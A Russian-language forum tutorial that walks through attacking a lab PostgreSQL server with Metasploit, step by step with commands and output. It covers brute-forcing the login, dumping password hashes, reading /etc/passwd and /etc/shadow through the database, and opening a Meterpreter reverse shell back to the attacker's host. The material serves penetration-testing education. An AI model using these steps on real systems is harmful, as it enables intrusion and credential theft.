L
lukinobambino
Original poster

Сегодня мы будем изучать различные методы сбора информации о базах данных PostgreSQL с помощью Metasploit.
PostgreSQL - это система управления реляционными базами данных с открытым исходным кодом (RDBMS), которая использует язык SQL, наряду со многими другими функциями, для обработки широкого спектра рабочих нагрузок данных. Изначально разработанная для Unix, PostgreSQL работает на всех основных операционных системах и является базой данных по умолчанию для сервера macOS.
PostgreSQL известен своей расширяемостью, надежностью, целостностью данных, сильной архитектурой и надежным набором функций, включая популярный расширитель геопространственных баз данных PostGIS. Он также и имеет специальное сообщество с открытым исходным кодом.
По большей части PostgreSQL соответствует стандартам языка SQL, но некоторые синтаксисы и функции немного отличаются. Он часто используется для тяжелых рабочих нагрузок, где параллелизм и производительность являются приоритетом, и предлагает современные функции безопасности и восстановления, которые необходимы в корпоративных средах. В целом, PostgreSQL-это фантастическая СУБД, которая является одновременно гибкой и расширяемой.
Использование сканирования Nmap
В этой статье мы используем в качестве цели и Kali Linux в качестве локальной машины. Вы можете использовать то же самое или что-то подобное.
После настройки нам нужно определить, работает ли служба PostgreSQL на целевом объекте. Для этого мы запустим сканирование Nmap на порту 5432, который обычно является портом по умолчанию для PostgreSQL. Используйте флаг -p для указания порта и -sV для включения обнаружения версий:
Код:
~# nmap -sV 10.10.0.50 -p 5432
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 11:41 CST
Nmap scan report for 10.10.0.50
Host is up (0.00064s latency).
PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
MAC Address: 00:1D:09:55:B1:3B (Dell)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
Мы можем видеть, что служба PostgreSQL открыта на целевом сервере и работает под управлением версии 8.3.0 – 8.3.7.
Получение информацию о версии
Metasploit имеет ряд модулей, которые мы можем использовать для сбора полезной информации о базах данных PostgreSQL. Запустите его, набрав msfconsole в терминале.
~# msfconsole
После загрузки мы можем использовать команду search для поиска модулей, связанных с PostgreSQL:
msf5 > search postgre
Первая из них, которую мы рассмотрим, даст нам некоторую информацию о текущей версии. Это никогда не помешает перепроверить, так как некоторые эксплойты будут работать только для определенных версий. Загрузите модуль с помощью команды use:
msf5 > use auxiliary/scanner/postgres/postgres_version
Далее, посмотрим на параметры для просмотра текущих настроек с помощью команды options:
msf5 auxiliary(scanner/postgres/postgres_version) > options
Module options (auxiliary/scanner/postgres/postgres_version):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
Сейчас мы можем оставить все значения по умолчанию, но нам нужно установить опцию rhosts для IP-адреса нашей цели:
msf5 auxiliary(scanner/postgres/postgres_version) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Теперь все, что нам нужно сделать, это запустить его с помощью команды run:
msf5 auxiliary(scanner/postgres/postgres_version) > run
Брут-Форсим логин
В следующем модуле, который мы рассмотрим, будет предпринята попытка перебора входа в базу данных PostgreSQL с использованием списка имен пользователей и паролей по умолчанию. Загрузите его командой use:
msf5 > use auxiliary/scanner/postgres/postgres_login
Давайте посмотрим на варианты этих модулей:
msf5 auxiliary(scanner/postgres/postgres_login) > options
Module options (auxiliary/scanner/postgres/postgres_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DATABASE template1 yes The database to authenticate against
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no File containing (space-separated) users and passwords, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
У этого есть еще несколько опций, но на данный момент будут работать настройки по умолчанию. Просто сделайте опцию удаленных хостов снова:
msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 10.10.0.50
rhosts => 10.10.0.50
Теперь мы можем запустить модуль:
msf5 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 10.10.0.50:5432 - LOGIN FAILED:
[-] 10.10.0.50:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED:
[-] 10.10.0.50:5432 - LOGIN FAILED:
[-] 10.10.0.50:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 10.10.0.50:5432 - Login Successful: postgres
[-] 10.10.0.50:5432 - LOGIN FAILED: scott
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott
[-] 10.10.0.50:5432 - LOGIN FAILED: scott
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin
[-] 10.10.0.50:5432 - LOGIN FAILED: admin
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Мы можем видеть, как он подбирает каждую комбинацию имени пользователя и пароля, большинство из которых проходят неудачно, но у нас остается один успешный вход.
Запускаем SQL-запросы
Мы можем запускать SQL-запросы прямо из другого модуля Metasploit вместо прямого входа в базу данных. Загрузите модуль:
msf5 > use auxiliary/admin/postgres/postgres_sql
И посмотрите на варианты:
msf5 auxiliary(admin/postgres/postgres_sql) > options
Вместо того чтобы каждый раз устанавливать параметр удаленных хостов, мы можем использовать команду setg для установки этого параметра глобально. Это означает, что он останется установленным, когда мы переключимся на другие модули, если мы не изменим его снова.
msf5 auxiliary(admin/postgres/postgres_sql) > setg rhosts 10.10.0.50
rhosts => 10.10.0.50
Запрос по умолчанию для этого модуля настроен на выбор версии базы данных — давайте посмотрим, как это выглядит:
msf5 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.0.50
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Auxiliary module execution completed
Но мы можем установить этот параметр для любого допустимого кода SQL, который мы хотим. Например, следующий запрос вернет имя пользователя и пароль текущего пользователя:
SELECT usename, passwd FROM pg_shadow;
Давайте установим опцию на это сейчас:
msf5 auxiliary(admin/postgres/postgres_sql) > set sql select usename, passwd from pg_shadow
sql => select usename, passwd from pg_shadow
И снова запустите модуль:
msf5 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.0.50
Query Text: 'select usename, passwd from pg_shadow'
===================================================
usename passwd
------- ------
postgres md53175bce1d3201d16594cebf9d7eb3f9d
[*] Auxiliary module execution completed
Теперь мы можем видеть хэш имени пользователя и пароля текущего пользователя.
Дампим Хэши
Metasploit также имеет модуль, который будет быстро сбрасывать любые хэши паролей в базе данных для нас. Загружайте его:
msf5 > use auxiliary/scanner/postgres/postgres_hashdump
И посмотрите варианты с помощью команды options:
msf5 auxiliary(scanner/postgres/postgres_hashdump) > options
Module options (auxiliary/scanner/postgres/postgres_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE postgres yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate as
На данный момент все выглядит хорошо, и поскольку мы уже установили удаленный хост ранее, все, что нам нужно сделать, это запустить его:
msf5 auxiliary(scanner/postgres/postgres_hashdump) > run
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================
Username Hash
-------- ----
postgres md53175bce1d3201d16594cebf9d7eb3f9d
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Мы видим, что запрос успешно выполняется и возвращает хэш пароля.
Информация о схеме дампа
Следующий модуль, который мы рассмотрим, попытается сбросить любую информацию схемы, которую он может найти о базе данных. Это может быть полезно для получения общей картины всех используемых баз данных, таблиц и настроек. Загрузите модуль:
msf5 > use auxiliary/scanner/postgres/postgres_schemadump
И проверьте варианты с помощью команды options:
msf5 auxiliary(scanner/postgres/postgres_schemadump) > options
Module options (auxiliary/scanner/postgres/postgres_schemadump):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE postgres yes The database to authenticate against
DISPLAY_RESULTS true yes Display the Results to the Screen
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME postgres yes The username to authenticate as
Мы можем оставить значения по умолчанию и запустить модуль с помощью команды run:
msf5 auxiliary(scanner/postgres/postgres_schemadump) > run
Мы видим, что ничего не вернулось, но стоит попытаться собрать подобные данные для разведки.
Чтение системных файлов
Мы также можем использовать Metasploit для чтения системных файлов через базу данных PostgreSQL. Загрузите модуль:
msf5 > use auxiliary/admin/postgres/postgres_readfile
И посмотрите на варианты с помощью команды options:
msf5 auxiliary(admin/postgres/postgres_readfile) > options
Module options (auxiliary/admin/postgres/postgres_readfile):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RFILE /etc/passwd yes The remote file
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
Удаленный файл по умолчанию для чтения установлен в /etc/passwd, который пока будет работать. Давайте начнем:
msf5 auxiliary(admin/postgres/postgres_readfile) > run
[*] Running module against 10.10.0.50
Query Text: 'CREATE TEMP TABLE hoieZbLAeCQ (INPUT TEXT);
COPY hoieZbLAeCQ FROM '/etc/passwd';
SELECT * FROM hoieZbLAeCQ'
====================================================================================================================================
input
-----
backup:x:34:34:backup:/var/backups:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
bind:x:105:113::/var/cache/bind:/bin/false
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
distccd:x:111:65534::/:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
games:x:5:60:games:/usr/games:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
klog:x:103:104::/home/klog:/bin/false
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
news:x:9:9:news:/var/spool/news:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
postfix:x:106:115::/var/spool/postfix:/bin/false
postgres:x:108:117
proftpd:x:113:65534::/var/run/proftpd:/bin/false
proxy:x:13:13
root:x:0:0:root:/root:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:114:65534::/var/lib/nfs:/bin/false
sync:x:4:65534:sync:/bin:/bin/sync
sys:x:3:3:sys:/dev:/bin/sh
syslog:x:102:103::/home/syslog:/bin/false
telnetd:x:112:120::/nonexistent:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
[+] 10.10.0.50:5432 Postgres - /etc/passwd saved in /root/.msf4/loot/20191211120809_default_10.10.0.50_postgres.file_153011.txt
[*] Auxiliary module execution completed
Мы видим, что он сначала создает временную таблицу, копирует содержимое нужного файла и возвращает его нам на экран. Он также сохраняет это, чтобы мы могли использовать ее позже.
Давайте попробуем прочитать другой файл возможно, на этот раз /etc/shadow. для начала, установите этот параметр:
msf5 auxiliary(admin/postgres/postgres_readfile) > set rfile /etc/shadow
rfile => /etc/shadow
Затем запустите модуль:
msf5 auxiliary(admin/postgres/postgres_readfile) > run
[*] Running module against 10.10.0.50
[-] 10.10.0.50:5432 Postgres - Insufficent file permissions.
[*] Auxiliary module execution completed
На этот раз мы видим, что это не удалось, поскольку у нас нет необходимых прав доступа к файлам. Всегда стоит попробовать.
Отправляем полезную нагрузку
Последний модуль, который мы рассмотрим сегодня, - это эксплойт, который попытается разместить и выполнить полезную нагрузку на цель. Сначала загрузите модуль:
msf5 > use exploit/linux/postgres/postgres_payload
Потом посмотрим на опций с помощью команды options:
msf5 exploit(linux/postgres/postgres_payload) > options
Module options (exploit/linux/postgres/postgres_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS 10.10.0.50 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
Exploit target:
Id Name
-- ----
0 Linux x86
Все выглядит хорошо, но т.к, это эксплойт, нам нужно будет установить полезную нагрузку. Используйте команду show для просмотра доступных полезных нагрузок для этого модуля:
msf5 exploit(linux/postgres/postgres_payload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 generic/custom normal No Custom Payload
1 generic/debug_trap normal No Generic x86 Debug Trap
2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 generic/tight_loop normal No Generic x86 Tight Loop
5 linux/x86/chmod normal No Linux Chmod
6 linux/x86/exec normal No Linux Execute Command
7 linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
17 linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
18 linux/x86/read_file normal No Linux Read File
19 linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
20 linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
21 linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
22 linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
23 linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
24 linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
25 linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
26 linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
27 linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
28 linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
29 linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
30 linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Давайте используем популярную обратную оболочку Meterpreter; используйте команду set для установки полезной нагрузки:
msf5 exploit(linux/postgres/postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
Нам нужно установить параметры localhost и local port, так как это обратная оболочка. Установить lhost в IP-адрес нашего локального компьютера:
msf5 exploit(linux/postgres/postgres_payload) > set lhost 10.10.0.1
lhost => 10.10.0.1
И lport в порт по вашему выбору:
msf5 exploit(linux/postgres/postgres_payload) > set lport 4321
lport => 4321
Это должно быть все, что нам нужно, так что давайте начнем:
msf5 exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.50:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/FKXyvnhM.so, should be cleaned up automatically
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.50:37662) at 2020-05-10 12:18:23 -0600
meterpreter >
Мы видим, что он создает обработчик, загружает полезную нагрузку на цель и, наконец, открывает сеанс. Теперь мы можем запускать команды типа sysinfo, чтобы убедиться, что у нас есть оболочка на цели:
meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
Последнее редактирование модератором: